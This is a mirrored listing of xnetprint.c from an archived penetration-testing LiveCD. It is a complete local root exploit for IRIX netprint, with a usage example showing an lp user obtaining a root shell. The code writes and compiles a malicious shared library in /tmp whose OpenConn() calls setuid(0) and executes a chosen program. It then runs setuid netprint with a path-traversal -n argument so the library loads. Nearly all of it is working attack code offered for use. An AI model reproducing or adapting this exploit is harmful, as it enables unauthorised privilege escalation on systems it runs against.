home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / irix / local / xnetprint.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  114 lines

  1. /* (IRIX)netprint[] local root exploit, by: v9[v9@fakehalo.org].  this will
  2.    give you uid=0 on IRIX systems.  this exploit simply takes advantage of
  3.    netprint's -n option to execute arbitrary code and gain elevated privileges.
  4.  
  5.    example:
  6. ------------------------------------------------------------------------------
  7. $ cc xnetprint.c -o xnetprint
  8. $ id
  9. uid=9(lp) gid=9(lp)
  10. $ ./xnetprint /bin/sh
  11. [(IRIX)netprint[] local root exploit, by: v9[v9@realhalo.org]. ]
  12. [*] making symbols source file for netprint to execute.
  13. [*] done, now compiling symbols source file.
  14. [*] done, now checking to see if the symbols source compiled.
  15. [*] done, now executing netprint.
  16. [*] success, uid: 0, euid: 0, gid: 0, egid: 0.
  17. # id
  18. uid=0(root) gid=0(sys)
  19. #
  20. ------------------------------------------------------------------------------
  21.  
  22.    note: built and tested on IRIX 6.2.  this often requires the uid of lp
  23.          to work correctly.  though, should prove effective up to 6.4 or
  24.          higher.
  25. */
  26. #include <stdio.h>
  27. #include <unistd.h>
  28. #include <sys/stat.h>
  29. #define PATH "/usr/lib/print/netprint" /* path to exploitable program. */
  30. #define CCPATH "/usr/bin/cc" /* path to compiler. */
  31. #define SRCFILE "/tmp/xnetrpintso.c" /* path to temporary symbols source. */
  32. #define SOFILE "/tmp/xnetprintso.so" /* path to compile as. */
  33. #define FAKESOFILE "../../../../tmp/xnetprintso" /* arg to feed netprint. */
  34. void cleanup(unsigned short i){
  35.  if(!access(SRCFILE,F_OK))
  36.   unlink(SRCFILE);
  37.  if(!access(SOFILE,F_OK))
  38.   unlink(SOFILE);
  39.  if(i)
  40.   exit(i);
  41. }
  42. int main(int argc,char **argv){
  43.  char *syscmd;
  44.  struct stat mod;
  45.  FILE *symbol;
  46.  printf("[(IRIX)netprint[] local root exploit, by: v9[v9@realhalo.org]. ]\n");
  47.  if(argc<2){
  48.   printf("[!] syntax: %s </path/to/program/to/exec>\n",argv[0]);
  49.   cleanup(1);
  50.  }
  51.  if(stat(PATH,&mod)){
  52.   printf("[!] failed, could not get stats on %s.\n",PATH);
  53.   cleanup(1);
  54.  }
  55.  if(mod.st_uid||!(S_ISUID&mod.st_mode)){
  56.   printf("[!] failed, %s is not setuid root.\n",PATH);
  57.   cleanup(1);
  58.  }
  59.  if(access(argv[1],X_OK)){
  60.   printf("[!] failed, %s doesn't seem to exist or is not executable.\n",
  61.   argv[1]);
  62.   cleanup(1);
  63.  }
  64.  if(access(CCPATH,X_OK)){
  65.   printf("[!] failed, %s compiler doesn't seem to exist or is not executable."
  66.   "\n",CCPATH);
  67.   cleanup(1);
  68.  }
  69.  printf("[*] making symbols source file for netprint to execute.\n");
  70.  cleanup(0);
  71.  if(!(symbol=fopen(SRCFILE,"w"))){
  72.   printf("[!] failed, could not open temporary file to write to.\n");
  73.   cleanup(1);
  74.  }
  75.  fprintf(symbol,"void OpenConn(){\n");
  76.  fprintf(symbol," seteuid(0);\n");
  77.  fprintf(symbol," setuid(0);\n");
  78.  fprintf(symbol," setegid(0);\n");
  79.  fprintf(symbol," setgid(0);\n");
  80.  fprintf(symbol," printf(\"\[*] success, uid: %%u, euid: %%u, gid: %%u, egid: "
  81.  "%%u.\\n\",getuid(),geteuid(),getgid(),getegid());\n");
  82.  fprintf(symbol," execl(\"%s\",\"%s\",0);\n",argv[1],argv[1]);
  83.  fprintf(symbol,"}\n");
  84.  fprintf(symbol,"void CloseConn(){}\n");
  85.  fprintf(symbol,"void ListPrinters(){}\n");
  86.  fprintf(symbol,"void SendJob(){}\n");
  87.  fprintf(symbol,"void CancelJob(){}\n");
  88.  fprintf(symbol,"void WaitForJob(){}\n");
  89.  fprintf(symbol,"void GetQueue(){}\n");
  90.  fprintf(symbol,"void StartTagging(){}\n");
  91.  fprintf(symbol,"void StopTagging(){}\n"); 
  92.  fprintf(symbol,"void Install(){}\n");
  93.  fprintf(symbol,"void IsDest(){}\n");
  94.  fclose(symbol);
  95.  printf("[*] done, now compiling symbols source file.\n");
  96.  if(!(syscmd=(char *)malloc(strlen(CCPATH)+strlen(SRCFILE)+strlen(SOFILE)+13+1)
  97.  )){
  98.   printf("[!] failed, could not allocate memory.\n");
  99.   cleanup(1);
  100.  }
  101.  sprintf(syscmd,"%s %s -shared -o %s",CCPATH,SRCFILE,SOFILE);
  102.  system(syscmd);
  103.  printf("[*] done, now checking to see if the symbols source compiled.\n");
  104.  if(access(SOFILE,R_OK)){
  105.   printf("[!] failed, symbols source was not compiled properly.\n");
  106.   cleanup(1);
  107.  }
  108.  printf("[*] done, now executing netprint.\n");
  109.  if(execl(PATH,PATH,"-n",FAKESOFILE,"-h0","-p0","0-0",0)){
  110.   printf("[!] failed, %s did not execute properly.\n",PATH);
  111.   cleanup(1);
  112.  }
  113. }
  114.